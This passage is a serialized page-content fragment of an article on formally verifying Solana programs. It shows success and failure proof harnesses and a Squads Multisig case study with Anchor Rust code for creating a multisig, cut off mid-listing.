",{"type":21,"tag":194,"props":23235,"children":23237},{"className":23236},[],[23238],{"type":27,"value":23239},"success_if",{"type":27,"value":23241}," is a sufficient condition for instruction success. I.e. ",{"type":21,"tag":194,"props":23243,"children":23245},{"className":23244},[4794,4795],[23246],{"type":21,"tag":198,"props":23247,"children":23249},{"className":23248},[4800],[23250],{"type":21,"tag":198,"props":23251,"children":23253},{"className":23252,"ariaHidden":4806},[4805],[23254,23280],{"type":21,"tag":198,"props":23255,"children":23257},{"className":23256},[4811],[23258,23262,23267,23271,23276],{"type":21,"tag":198,"props":23259,"children":23261},{"className":23260,"style":22376},[4816],[],{"type":21,"tag":198,"props":23263,"children":23265},{"className":23264,"style":22840},[4822,22381],[23266],{"type":27,"value":22843},{"type":21,"tag":198,"props":23268,"children":23270},{"className":23269,"style":4998},[4901],[],{"type":21,"tag":198,"props":23272,"children":23274},{"className":23273},[5003],[23275],{"type":27,"value":23127},{"type":21,"tag":198,"props":23277,"children":23279},{"className":23278,"style":4998},[4901],[],{"type":21,"tag":198,"props":23281,"children":23283},{"className":23282},[4811],[23284,23288],{"type":21,"tag":198,"props":23285,"children":23287},{"className":23286,"style":22376},[4816],[],{"type":21,"tag":198,"props":23289,"children":23291},{"className":23290,"style":22913},[4822,22381],[23292],{"type":27,"value":22916},{"type":27,"value":658},{"type":21,"tag":30,"props":23295,"children":23296},{},[23297],{"type":27,"value":23298},"Just like before we can construct a proof harness:",{"type":21,"tag":187,"props":23300,"children":23302},{"code":23301,"language":20255,"meta":7,"className":20256,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[23303],{"type":21,"tag":194,"props":23304,"children":23305},{"__ignoreMap":7},[23306,23314,23329],{"type":21,"tag":198,"props":23307,"children":23308},{"class":200,"line":201},[23309],{"type":21,"tag":198,"props":23310,"children":23311},{"style":211},[23312],{"type":27,"value":23313},"assume(S)\n",{"type":21,"tag":198,"props":23315,"children":23316},{"class":200,"line":217},[23317,23321,23325],{"type":21,"tag":198,"props":23318,"children":23319},{"style":211},[23320],{"type":27,"value":23177},{"type":21,"tag":198,"props":23322,"children":23323},{"style":683},[23324],{"type":27,"value":3174},{"type":21,"tag":198,"props":23326,"children":23327},{"style":211},[23328],{"type":27,"value":23186},{"type":21,"tag":198,"props":23330,"children":23331},{"class":200,"line":236},[23332,23336],{"type":21,"tag":198,"props":23333,"children":23334},{"style":640},[23335],{"type":27,"value":20778},{"type":21,"tag":198,"props":23337,"children":23338},{"style":211},[23339],{"type":27,"value":23340},"(K)\n",{"type":21,"tag":30,"props":23342,"children":23343},{},[23344,23346,23351,23353,23365],{"type":27,"value":23345},"This proof assures that whenever ",{"type":21,"tag":194,"props":23347,"children":23349},{"className":23348},[],[23350],{"type":27,"value":20949},{"type":27,"value":23352}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":21,"tag":1671,"props":23354,"children":23355},{},[23356,23358,23363],{"type":27,"value":23357},"even if ",{"type":21,"tag":194,"props":23359,"children":23361},{"className":23360},[],[23362],{"type":27,"value":20949},{"type":27,"value":23364}," is not satisfied",{"type":27,"value":23366},". To specify explicit error conditions we need our third and final proof.",{"type":21,"tag":59,"props":23368,"children":23370},{"id":23369},"_3-negative-instruction-invariant",[23371],{"type":27,"value":23372},"3. Negative instruction invariant",{"type":21,"tag":30,"props":23374,"children":23375},{},[23376,23378,23383,23385,23441],{"type":27,"value":23377},"Finally, we want to prove that ",{"type":21,"tag":194,"props":23379,"children":23381},{"className":23380},[],[23382],{"type":27,"value":20956},{"type":27,"value":23384}," is a sufficient condition for instruction failure. I.e. ",{"type":21,"tag":194,"props":23386,"children":23388},{"className":23387},[4794,4795],[23389],{"type":21,"tag":198,"props":23390,"children":23392},{"className":23391},[4800],[23393],{"type":21,"tag":198,"props":23394,"children":23396},{"className":23395,"ariaHidden":4806},[4805],[23397,23423],{"type":21,"tag":198,"props":23398,"children":23400},{"className":23399},[4811],[23401,23405,23410,23414,23419],{"type":21,"tag":198,"props":23402,"children":23404},{"className":23403,"style":22376},[4816],[],{"type":21,"tag":198,"props":23406,"children":23408},{"className":23407,"style":22840},[4822,22381],[23409],{"type":27,"value":22878},{"type":21,"tag":198,"props":23411,"children":23413},{"className":23412,"style":4998},[4901],[],{"type":21,"tag":198,"props":23415,"children":23417},{"className":23416},[5003],[23418],{"type":27,"value":23127},{"type":21,"tag":198,"props":23420,"children":23422},{"className":23421,"style":4998},[4901],[],{"type":21,"tag":198,"props":23424,"children":23426},{"className":23425},[4811],[23427,23431,23436],{"type":21,"tag":198,"props":23428,"children":23430},{"className":23429,"style":22376},[4816],[],{"type":21,"tag":198,"props":23432,"children":23434},{"className":23433},[4822],[23435],{"type":27,"value":22974},{"type":21,"tag":198,"props":23437,"children":23439},{"className":23438,"style":22913},[4822,22381],[23440],{"type":27,"value":22916},{"type":27,"value":658},{"type":21,"tag":30,"props":23443,"children":23444},{},[23445],{"type":27,"value":23446},"This harness looks just like the previous one:",{"type":21,"tag":187,"props":23448,"children":23450},{"code":23449,"language":20255,"meta":7,"className":20256,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[23451],{"type":21,"tag":194,"props":23452,"children":23453},{"__ignoreMap":7},[23454,23462,23477],{"type":21,"tag":198,"props":23455,"children":23456},{"class":200,"line":201},[23457],{"type":21,"tag":198,"props":23458,"children":23459},{"style":211},[23460],{"type":27,"value":23461},"assume(E)\n",{"type":21,"tag":198,"props":23463,"children":23464},{"class":200,"line":217},[23465,23469,23473],{"type":21,"tag":198,"props":23466,"children":23467},{"style":211},[23468],{"type":27,"value":23177},{"type":21,"tag":198,"props":23470,"children":23471},{"style":683},[23472],{"type":27,"value":3174},{"type":21,"tag":198,"props":23474,"children":23475},{"style":211},[23476],{"type":27,"value":23186},{"type":21,"tag":198,"props":23478,"children":23479},{"class":200,"line":236},[23480,23484,23488,23492],{"type":21,"tag":198,"props":23481,"children":23482},{"style":640},[23483],{"type":27,"value":20778},{"type":21,"tag":198,"props":23485,"children":23486},{"style":211},[23487],{"type":27,"value":706},{"type":21,"tag":198,"props":23489,"children":23490},{"style":23200},[23491],{"type":27,"value":686},{"type":21,"tag":198,"props":23493,"children":23494},{"style":211},[23495],{"type":27,"value":23496},"K)\n",{"type":21,"tag":30,"props":23498,"children":23499},{},[23500,23502,23506],{"type":27,"value":23501},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":21,"tag":1671,"props":23503,"children":23504},{},[23505],{"type":27,"value":17175},{"type":27,"value":23507}," the account invariants we expect are always being preserved.",{"type":21,"tag":22,"props":23509,"children":23511},{"id":23510},"case-study-squads-multisig",[23512],{"type":27,"value":23513},"Case study: Squads Multisig",{"type":21,"tag":30,"props":23515,"children":23516},{},[23517,23519,23524],{"type":27,"value":23518},"During our research, we focused on formally verifying aspects of the ",{"type":21,"tag":34,"props":23520,"children":23522},{"href":19621,"rel":23521},[38],[23523],{"type":27,"value":19625},{"type":27,"value":658},{"type":21,"tag":30,"props":23526,"children":23527},{},[23528,23530,23536,23538,23544],{"type":27,"value":23529},"The program defines a Multisig account (",{"type":21,"tag":194,"props":23531,"children":23533},{"className":23532},[],[23534],{"type":27,"value":23535},"Ms",{"type":27,"value":23537},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":21,"tag":194,"props":23539,"children":23541},{"className":23540},[],[23542],{"type":27,"value":23543},"threshold",{"type":27,"value":23545}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":21,"tag":30,"props":23547,"children":23548},{},[23549],{"type":27,"value":23550},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":21,"tag":30,"props":23552,"children":23553},{},[23554],{"type":27,"value":23555},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":21,"tag":71,"props":23557,"children":23558},{},[23559,23564,23569,23574],{"type":21,"tag":75,"props":23560,"children":23561},{},[23562],{"type":27,"value":23563},"Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":75,"props":23565,"children":23566},{},[23567],{"type":27,"value":23568},"Verify threshold requirements",{"type":21,"tag":75,"props":23570,"children":23571},{},[23572],{"type":27,"value":23573},"Verify requirements to remove a member",{"type":21,"tag":75,"props":23575,"children":23576},{},[23577],{"type":27,"value":23578},"Safety guarantees",{"type":21,"tag":59,"props":23580,"children":23582},{"id":23581},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[23583],{"type":27,"value":23584},"1. Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":30,"props":23586,"children":23587},{},[23588,23590,23595],{"type":27,"value":23589},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":21,"tag":194,"props":23591,"children":23593},{"className":23592},[],[23594],{"type":27,"value":20949},{"type":27,"value":23596}," expression.",{"type":21,"tag":30,"props":23598,"children":23599},{},[23600,23602,23607,23609,23615],{"type":27,"value":23601},"Creating a multisig (",{"type":21,"tag":194,"props":23603,"children":23605},{"className":23604},[],[23606],{"type":27,"value":23535},{"type":27,"value":23608},") requires invoking the ",{"type":21,"tag":194,"props":23610,"children":23612},{"className":23611},[],[23613],{"type":27,"value":23614},"create",{"type":27,"value":23616}," instruction:",{"type":21,"tag":187,"props":23618,"children":23620},{"code":23619,"language":3788,"meta":7,"className":3789,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[23621],{"type":21,"tag":194,"props":23622,"children":23623},{"__ignoreMap":7},[23624,23641,23696,23726,23734,23742,23759,23810,23859,23867,23908,23915,23931,23964,24006,24013,24020,24039,24067,24087,24107,24135,24154,24162,24190,24210,24230,24237,24245,24277,24300,24335,24343,24351,24360,24402,24435,24443,24451,24460,24536,24569,24577,24585,24622,24635,24648,24661,24715,24724],{"type":21,"tag":198,"props":23625,"children":23626},{"class":200,"line":201},[23627,23632,23637],{"type":21,"tag":198,"props":23628,"children":23629},{"style":211},[23630],{"type":27,"value":23631},"#[derive(",{"type":21,"tag":198,"props":23633,"children":23634},{"style":1966},[23635],{"type":27,"value":23636},"Accounts",{"type":21,"tag":198,"props":23638,"children":23639},{"style":211},[23640],{"type":27,"value":21053},{"type":21,"tag":198,"props":23642,"children":23643},{"class":200,"line":217},[23644,23649,23653,23657,23662,23666,23670,23675,23679,23683,23687,23691],{"type":21,"tag":198,"props":23645,"children":23646},{"style":211},[23647],{"type":27,"value":23648},"#[instruction(threshold",{"type":21,"tag":198,"props":23650,"children":23651},{"style":683},[23652],{"type":27,"value":185},{"type":21,"tag":198,"props":23654,"children":23655},{"style":1966},[23656],{"type":27,"value":21823},{"type":21,"tag":198,"props":23658,"children":23659},{"style":211},[23660],{"type":27,"value":23661},", create_key",{"type":21,"tag":198,"props":23663,"children":23664},{"style":683},[23665],{"type":27,"value":185},{"type":21,"tag":198,"props":23667,"children":23668},{"style":1966},[23669],{"type":27,"value":21650},{"type":21,"tag":198,"props":23671,"children":23672},{"style":211},[23673],{"type":27,"value":23674},", members",{"type":21,"tag":198,"props":23676,"children":23677},{"style":683},[23678],{"type":27,"value":185},{"type":21,"tag":198,"props":23680,"children":23681},{"style":1966},[23682],{"type":27,"value":22182},{"type":21,"tag":198,"props":23684,"children":23685},{"style":211},[23686],{"type":27,"value":3159},{"type":21,"tag":198,"props":23688,"children":23689},{"style":1966},[23690],{"type":27,"value":22191},{"type":21,"tag":198,"props":23692,"children":23693},{"style":211},[23694],{"type":27,"value":23695},">)]\n",{"type":21,"tag":198,"props":23697,"children":23698},{"class":200,"line":236},[23699,23703,23707,23712,23717,23722],{"type":21,"tag":198,"props":23700,"children":23701},{"style":249},[23702],{"type":27,"value":14497},{"type":21,"tag":198,"props":23704,"children":23705},{"style":249},[23706],{"type":27,"value":21944},{"type":21,"tag":198,"props":23708,"children":23709},{"style":1966},[23710],{"type":27,"value":23711}," Create",{"type":21,"tag":198,"props":23713,"children":23714},{"style":211},[23715],{"type":27,"value":23716},"\u003C'",{"type":21,"tag":198,"props":23718,"children":23719},{"style":1966},[23720],{"type":27,"value":23721},"info",{"type":21,"tag":198,"props":23723,"children":23724},{"style":211},[23725],{"type":27,"value":8093},{"type":21,"tag":198,"props":23727,"children":23728},{"class":200,"line":260},[23729],{"type":21,"tag":198,"props":23730,"children":23731},{"style":211},[23732],{"type":27,"value":23733}," #[account(\n",{"type":21,"tag":198,"props":23735,"children":23736},{"class":200,"line":281},[23737],{"type":21,"tag":198,"props":23738,"children":23739},{"style":211},[23740],{"type":27,"value":23741}," init,\n",{"type":21,"tag":198,"props":23743,"children":23744},{"class":200,"line":302},[23745,23750,23754],{"type":21,"tag":198,"props":23746,"children":23747},{"style":211},[23748],{"type":27,"value":23749}," payer ",{"type":21,"tag":198,"props":23751,"children":23752},{"style":683},[23753],{"type":27,"value":3174},{"type":21,"tag":198,"props":23755,"children":23756},{"style":211},[23757],{"type":27,"value":23758}," creator,\n",{"type":21,"tag":198,"props":23760,"children":23761},{"class":200,"line":323},[23762,23767,23771,23775,23779,23784,23788,23793,23797,23801,23805],{"type":21,"tag":198,"props":23763,"children":23764},{"style":211},[23765],{"type":27,"value":23766}," space ",{"type":21,"tag":198,"props":23768,"children":23769},{"style":683},[23770],{"type":27,"value":3174},{"type":21,"tag":198,"props":23772,"children":23773},{"style":1966},[23774],{"type":27,"value":21949},{"type":21,"tag":198,"props":23776,"children":23777},{"style":683},[23778],{"type":27,"value":4286},{"type":21,"tag":198,"props":23780,"children":23781},{"style":1966},[23782],{"type":27,"value":23783},"SIZE_WITHOUT_MEMBERS",{"type":21,"tag":198,"props":23785,"children":23786},{"style":683},[23787],{"type":27,"value":1440},{"type":21,"tag":198,"props":23789,"children":23790},{"style":211},[23791],{"type":27,"value":23792}," (members",{"type":21,"tag":198,"props":23794,"children":23795},{"style":683},[23796],{"type":27,"value":658},{"type":21,"tag":198,"props":23798,"children":23799},{"style":211},[23800],{"type":27,"value":21814},{"type":21,"tag":198,"props":23802,"children":23803},{"style":683},[23804],{"type":27,"value":5383},{"type":21,"tag":198,"props":23806,"children":23807},{"style":211},[23808],{"type":27,"value":23809}," 32),\n",{"type":21,"tag":198,"props":23811,"children":23812},{"class":200,"line":344},[23813,23818,23822,23826,23831,23835,23839,23844,23849,23854],{"type":21,"tag":198,"props":23814,"children":23815},{"style":211},[23816],{"type":27,"value":23817}," seeds ",{"type":21,"tag":198,"props":23819,"children":23820},{"style":683},[23821],{"type":27,"value":3174},{"type":21,"tag":198,"props":23823,"children":23824},{"style":211},[23825],{"type":27,"value":2810},{"type":21,"tag":198,"props":23827,"children":23828},{"style":205},[23829],{"type":27,"value":23830},"b\"squad\"",{"type":21,"tag":198,"props":23832,"children":23833},{"style":211},[23834],{"type":27,"value":23661},{"type":21,"tag":198,"props":23836,"children":23837},{"style":683},[23838],{"type":27,"value":658},{"type":21,"tag":198,"props":23840,"children":23841},{"style":211},[23842],{"type":27,"value":23843},"as_ref(), ",{"type":21,"tag":198,"props":23845,"children":23846},{"style":205},[23847],{"type":27,"value":23848},"b\"multisig\"",{"type":21,"tag":198,"props":23850,"children":23851},{"style":211},[23852],{"type":27,"value":23853},"], ",{"type":21,"tag":198,"props":23855,"children":23856},{"style":226},[23857],{"type":27,"value":23858},"bump\n",{"type":21,"tag":198,"props":23860,"children":23861},{"class":200,"line":365},[23862],{"type":21,"tag":198,"props":23863,"children":23864},{"style":211},[23865],{"type":27,"value":23866}," )]\n",{"type":21,"tag":198,"props":23868,"children":23869},{"class":200,"line":386},[23870,23874,23879,23883,23888,23892,23896,23900,23904],{"type":21,"tag":198,"props":23871,"children":23872},{"style":249},[23873],{"type":27,"value":21636},{"type":21,"tag":198,"props":23875,"children":23876},{"style":226},[23877],{"type":27,"value":23878}," multisig",{"type":21,"tag":198,"props":23880,"children":23881},{"style":683},[23882],{"type":27,"value":185},{"type":21,"tag":198,"props":23884,"children":23885},{"style":1966},[23886],{"type":27,"value":23887}," Account",{"type":21,"tag":198,"props":23889,"children":23890},{"style":211},[23891],{"type":27,"value":23716},{"type":21,"tag":198,"props":23893,"children":23894},{"style":1966},[23895],{"type":27,"value":23721},{"type":21,"tag":198,"props":23897,"children":23898},{"style":211},[23899],{"type":27,"value":828},{"type":21,"tag":198,"props":23901,"children":23902},{"style":1966},[23903],{"type":27,"value":23535},{"type":21,"tag":198,"props":23905,"children":23906},{"style":211},[23907],{"type":27,"value":6950},{"type":21,"tag":198,"props":23909,"children":23910},{"class":200,"line":408},[23911],{"type":21,"tag":198,"props":23912,"children":23913},{"emptyLinePlaceholder":16},[23914],{"type":27,"value":1283},{"type":21,"tag":198,"props":23916,"children":23917},{"class":200,"line":429},[23918,23923,23927],{"type":21,"tag":198,"props":23919,"children":23920},{"style":211},[23921],{"type":27,"value":23922}," #[account(",{"type":21,"tag":198,"props":23924,"children":23925},{"style":249},[23926],{"type":27,"value":4530},{"type":21,"tag":198,"props":23928,"children":23929},{"style":211},[23930],{"type":27,"value":21053},{"type":21,"tag":198,"props":23932,"children":23933},{"class":200,"line":450},[23934,23938,23943,23947,23952,23956,23960],{"type":21,"tag":198,"props":23935,"children":23936},{"style":249},[23937],{"type":27,"value":21636},{"type":21,"tag":198,"props":23939,"children":23940},{"style":226},[23941],{"type":27,"value":23942}," creator",{"type":21,"tag":198,"props":23944,"children":23945},{"style":683},[23946],{"type":27,"value":185},{"type":21,"tag":198,"props":23948,"children":23949},{"style":1966},[23950],{"type":27,"value":23951}," Signer",{"type":21,"tag":198,"props":23953,"children":23954},{"style":211},[23955],{"type":27,"value":23716},{"type":21,"tag":198,"props":23957,"children":23958},{"style":1966},[23959],{"type":27,"value":23721},{"type":21,"tag":198,"props":23961,"children":23962},{"style":211},[23963],{"type":27,"value":6950},{"type":21,"tag":198,"props":23965,"children":23966},{"class":200,"line":468},[23967,23971,23976,23980,23985,23989,23993,23997,24002],{"type":21,"tag":198,"props":23968,"children":23969},{"style":249},[23970],{"type":27,"value":21636},{"type":21,"tag":198,"props":23972,"children":23973},{"style":226},[23974],{"type":27,"value":23975}," system_program",{"type":21,"tag":198,"props":23977,"children":23978},{"style":683},[23979],{"type":27,"value":185},{"type":21,"tag":198,"props":23981,"children":23982},{"style":1966},[23983],{"type":27,"value":23984}," Program",{"type":21,"tag":198,"props":23986,"children":23987},{"style":211},[23988],{"type":27,"value":23716},{"type":21,"tag":198,"props":23990,"children":23991},{"style":1966},[23992],{"type":27,"value":23721},{"type":21,"tag":198,"props":23994,"children":23995},{"style":211},[23996],{"type":27,"value":828},{"type":21,"tag":198,"props":23998,"children":23999},{"style":1966},[24000],{"type":27,"value":24001},"System",{"type":21,"tag":198,"props":24003,"children":24004},{"style":211},[24005],{"type":27,"value":6950},{"type":21,"tag":198,"props":24007,"children":24008},{"class":200,"line":477},[24009],{"type":21,"tag":198,"props":24010,"children":24011},{"style":211},[24012],{"type":27,"value":1120},{"type":21,"tag":198,"props":24014,"children":24015},{"class":200,"line":494},[24016],{"type":21,"tag":198,"props":24017,"children":24018},{"emptyLinePlaceholder":16},[24019],{"type":27,"value":1283},{"type":21,"tag":198,"props":24021,"children":24022},{"class":200,"line":515},[24023,24027,24031,24035],{"type":21,"tag":198,"props":24024,"children":24025},{"style":249},[24026],{"type":27,"value":14497},{"type":21,"tag":198,"props":24028,"children":24029},{"style":249},[24030],{"type":27,"value":14502},{"type":21,"tag":198,"props":24032,"children":24033},{"style":698},[24034],{"type":27,"value":7924},{"type":21,"tag":198,"props":24036,"children":24037},{"style":211},[24038],{"type":27,"value":4268},{"type":21,"tag":198,"props":24040,"children":24041},{"class":200,"line":4484},[24042,24046,24050,24054,24058,24063],{"type":21,"tag":198,"props":24043,"children":24044},{"style":226},[24045],{"type":27,"value":21018},{"type":21,"tag":198,"props":24047,"children":24048},{"style":683},[24049],{"type":27,"value":185},{"type":21,"tag":198,"props":24051,"children":24052},{"style":1966},[24053],{"type":27,"value":21084},{"type":21,"tag":198,"props":24055,"children":24056},{"style":211},[24057],{"type":27,"value":3159},{"type":21,"tag":198,"props":24059,"children":24060},{"style":1966},[24061],{"type":27,"value":24062},"Create",{"type":21,"tag":198,"props":24064,"children":24065},{"style":211},[24066],{"type":27,"value":6950},{"type":21,"tag":198,"props":24068,"children":24069},{"class":200,"line":4493},[24070,24075,24079,24083],{"type":21,"tag":198,"props":24071,"children":24072},{"style":226},[24073],{"type":27,"value":24074}," threshold",{"type":21,"tag":198,"props":24076,"children":24077},{"style":683},[24078],{"type":27,"value":185},{"type":21,"tag":198,"props":24080,"children":24081},{"style":1966},[24082],{"type":27,"value":21823},{"type":21,"tag":198,"props":24084,"children":24085},{"style":211},[24086],{"type":27,"value":257},{"type":21,"tag":198,"props":24088,"children":24089},{"class":200,"line":4561},[24090,24095,24099,24103],{"type":21,"tag":198,"props":24091,"children":24092},{"style":226},[24093],{"type":27,"value":24094}," create_key",{"type":21,"tag":198,"props":24096,"children":24097},{"style":683},[24098],{"type":27,"value":185},{"type":21,"tag":198,"props":24100,"children":24101},{"style":1966},[24102],{"type":27,"value":21650},{"type":21,"tag":198,"props":24104,"children":24105},{"style":211},[24106],{"type":27,"value":257},{"type":21,"tag":198,"props":24108,"children":24109},{"class":200,"line":4569},[24110,24115,24119,24123,24127,24131],{"type":21,"tag":198,"props":24111,"children":24112},{"style":226},[24113],{"type":27,"value":24114}," members",{"type":21,"tag":198,"props":24116,"children":24117},{"style":683},[24118],{"type":27,"value":185},{"type":21,"tag":198,"props":24120,"children":24121},{"style":1966},[24122],{"type":27,"value":22182},{"type":21,"tag":198,"props":24124,"children":24125},{"style":211},[24126],{"type":27,"value":3159},{"type":21,"tag":198,"props":24128,"children":24129},{"style":1966},[24130],{"type":27,"value":22191},{"type":21,"tag":198,"props":24132,"children":24133},{"style":211},[24134],{"type":27,"value":6950},{"type":21,"tag":198,"props":24136,"children":24137},{"class":200,"line":4599},[24138,24142,24146,24150],{"type":21,"tag":198,"props":24139,"children":24140},{"style":211},[24141],{"type":27,"value":1541},{"type":21,"tag":198,"props":24143,"children":24144},{"style":683},[24145],{"type":27,"value":14564},{"type":21,"tag":198,"props":24147,"children":24148},{"style":1966},[24149],{"type":27,"value":14569},{"type":21,"tag":198,"props":24151,"children":24152},{"style":211},[24153],{"type":27,"value":21126},{"type":21,"tag":198,"props":24155,"children":24156},{"class":200,"line":4607},[24157],{"type":21,"tag":198,"props":24158,"children":24159},{"style":1233},[24160],{"type":27,"value":24161}," // sort the members and remove duplicates\n",{"type":21,"tag":198,"props":24163,"children":24164},{"class":200,"line":4638},[24165,24169,24173,24178,24182,24186],{"type":21,"tag":198,"props":24166,"children":24167},{"style":249},[24168],{"type":27,"value":3809},{"type":21,"tag":198,"props":24170,"children":24171},{"style":249},[24172],{"type":27,"value":3814},{"type":21,"tag":198,"props":24174,"children":24175},{"style":226},[24176],{"type":27,"value":24177}," members",{"type":21,"tag":198,"props":24179,"children":24180},{"style":683},[24181],{"type":27,"value":979},{"type":21,"tag":198,"props":24183,"children":24184},{"style":226},[24185],{"type":27,"value":24177},{"type":21,"tag":198,"props":24187,"children":24188},{"style":211},[24189],{"type":27,"value":1483},{"type":21,"tag":198,"props":24191,"children":24192},{"class":200,"line":4646},[24193,24197,24201,24206],{"type":21,"tag":198,"props":24194,"children":24195},{"style":226},[24196],{"type":27,"value":24114},{"type":21,"tag":198,"props":24198,"children":24199},{"style":683},[24200],{"type":27,"value":658},{"type":21,"tag":198,"props":24202,"children":24203},{"style":698},[24204],{"type":27,"value":24205},"sort",{"type":21,"tag":198,"props":24207,"children":24208},{"style":211},[24209],{"type":27,"value":3404},{"type":21,"tag":198,"props":24211,"children":24212},{"class":200,"line":4706},[24213,24217,24221,24226],{"type":21,"tag":198,"props":24214,"children":24215},{"style":226},[24216],{"type":27,"value":24114},{"type":21,"tag":198,"props":24218,"children":24219},{"style":683},[24220],{"type":27,"value":658},{"type":21,"tag":198,"props":24222,"children":24223},{"style":698},[24224],{"type":27,"value":24225},"dedup",{"type":21,"tag":198,"props":24227,"children":24228},{"style":211},[24229],{"type":27,"value":3404},{"type":21,"tag":198,"props":24231,"children":24232},{"class":200,"line":9857},[24233],{"type":21,"tag":198,"props":24234,"children":24235},{"emptyLinePlaceholder":16},[24236],{"type":27,"value":1283},{"type":21,"tag":198,"props":24238,"children":24239},{"class":200,"line":9875},[24240],{"type":21,"tag":198,"props":24241,"children":24242},{"style":1233},[24243],{"type":27,"value":24244}," // check we don't exceed u16\n",{"type":21,"tag":198,"props":24246,"children":24247},{"class":200,"line":9920},[24248,24252,24257,24261,24265,24269,24273],{"type":21,"tag":198,"props":24249,"children":24250},{"style":249},[24251],{"type":27,"value":3809},{"type":21,"tag":198,"props":24253,"children":24254},{"style":226},[24255],{"type":27,"value":24256}," total_members",{"type":21,"tag":198,"props":24258,"children":24259},{"style":683},[24260],{"type":27,"value":979},{"type":21,"tag":198,"props":24262,"children":24263},{"style":226},[24264],{"type":27,"value":24177},{"type":21,"tag":198,"props":24266,"children":24267},{"style":683},[24268],{"type":27,"value":658},{"type":21,"tag":198,"props":24270,"children":24271},{"style":698},[24272],{"type":27,"value":9950},{"type":21,"tag":198,"props":24274,"children":24275},{"style":211},[24276],{"type":27,"value":3404},{"type":21,"tag":198,"props":24278,"children":24279},{"class":200,"line":10026},[24280,24284,24288,24292,24296],{"type":21,"tag":198,"props":24281,"children":24282},{"style":640},[24283],{"type":27,"value":643},{"type":21,"tag":198,"props":24285,"children":24286},{"style":226},[24287],{"type":27,"value":24256},{"type":21,"tag":198,"props":24289,"children":24290},{"style":683},[24291],{"type":27,"value":9529},{"type":21,"tag":198,"props":24293,"children":24294},{"style":2540},[24295],{"type":27,"value":5335},{"type":21,"tag":198,"props":24297,"children":24298},{"style":211},[24299],{"type":27,"value":233},{"type":21,"tag":198,"props":24301,"children":24303},{"class":200,"line":24302},31,[24304,24308,24313,24317,24322,24326,24331],{"type":21,"tag":198,"props":24305,"children":24306},{"style":640},[24307],{"type":27,"value":16547},{"type":21,"tag":198,"props":24309,"children":24310},{"style":698},[24311],{"type":27,"value":24312}," err!",{"type":21,"tag":198,"props":24314,"children":24315},{"style":211},[24316],{"type":27,"value":706},{"type":21,"tag":198,"props":24318,"children":24319},{"style":1966},[24320],{"type":27,"value":24321},"MsError",{"type":21,"tag":198,"props":24323,"children":24324},{"style":683},[24325],{"type":27,"value":4286},{"type":21,"tag":198,"props":24327,"children":24328},{"style":1966},[24329],{"type":27,"value":24330},"EmptyMembers",{"type":21,"tag":198,"props":24332,"children":24333},{"style":211},[24334],{"type":27,"value":1470},{"type":21,"tag":198,"props":24336,"children":24338},{"class":200,"line":24337},32,[24339],{"type":21,"tag":198,"props":24340,"children":24341},{"style":211},[24342],{"type":27,"value":880},{"type":21,"tag":198,"props":24344,"children":24346},{"class":200,"line":24345},33,[24347],{"type":21,"tag":198,"props":24348,"children":24349},{"emptyLinePlaceholder":16},[24350],{"type":27,"value":1283},{"type":21,"tag":198,"props":24352,"children":24354},{"class":200,"line":24353},34,[24355],{"type":21,"tag":198,"props":24356,"children":24357},{"style":1233},[24358],{"type":27,"value":24359}," // make sure we don't exceed u16 on first call\n",{"type":21,"tag":198,"props":24361,"children":24363},{"class":200,"line":24362},35,[24364,24368,24372,24376,24380,24384,24388,24393,24397],{"type":21,"tag":198,"props":24365,"children":24366},{"style":640},[24367],{"type":27,"value":643},{"type":21,"tag":198,"props":24369,"children":24370},{"style":226},[24371],{"type":27,"value":24256},{"type":21,"tag":198,"props":24373,"children":24374},{"style":683},[24375],{"type":27,"value":15000},{"type":21,"tag":198,"props":24377,"children":24378},{"style":1966},[24379],{"type":27,"value":14538},{"type":21,"tag":198,"props":24381,"children":24382},{"style":683},[24383],{"type":27,"value":4286},{"type":21,"tag":198,"props":24385,"children":24386},{"style":698},[24387],{"type":27,"value":20268},{"type":21,"tag":198,"props":24389,"children":24390},{"style":211},[24391],{"type":27,"value":24392},"(u16",{"type":21,"tag":198,"props":24394,"children":24395},{"style":683},[24396],{"type":27,"value":4286},{"type":21,"tag":198,"props":24398,"children":24399},{"style":211},[24400],{"type":27,"value":24401},"MAX) 